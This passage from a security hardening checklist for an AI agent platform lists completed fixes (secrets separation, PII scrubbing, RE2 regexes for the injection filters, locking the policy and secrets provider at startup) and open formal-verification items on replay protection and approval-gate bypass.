  1. T-2MODEL_GUARD_SIGN_KEY separate from EOS_AGENT_SECRET; resolved via SecretsProvider.
  2. I-3scrubMetadata() in audit-log.ts applies scrubPII() to all metadata string values before disk.
  3. I-4PluginSandbox constructor rejects credential-shaped config keys and values.
  4. D-1setInterval in agent-auth.ts purges expired tokens and nonces every 5 min.
  5. D-2 — Global 10,000-event/60s ceiling in EventBus.ts across all sources combined.
  6. D-4queryDisk() and verifyChain() stream via readline.createInterface(); no OOM risk.

✅ Phase 4 — RE2 & Lock Hardening (complete)

  1. T-6safe-regex.ts RE2 factory. All injection + content-filter patterns use RE2 (linear time). dotAll pattern rewritten with [\s\S]{0,500}.
  2. I-2lockSecretsProvider() in secrets-provider.ts; runtime provider swap rejected after startup.
  3. E-3SupervisorAgent.start() calls policyEngine.lock(); policy injection impossible at runtime.
  4. E-4finalizeStartup() in shutdown.ts atomically locks token issuance, model allowlist, and secrets provider.
  5. D-3setInterval in sanitize.ts purges stale rate limit counters every 5 min.
  6. Dependenciesnpm audit fix applied; 0 known vulnerabilities (May 2026).

🔬 Phase 5 — Formal Verification (open, research-grade)

  1. 🔬 D-5 — Formal proof that the HMAC + challenge-nonce protocol makes replay mathematically impossible under standard crypto assumptions.
  2. 🔬 E-1 — Formal threat model proving no in-process ApprovalGate bypass exists post-fix (requires model checking or Tamarin prover).

Review trigger: any new agent, new trust boundary, modified security control, or dependency major version bump. Next scheduled review: production deployment gate.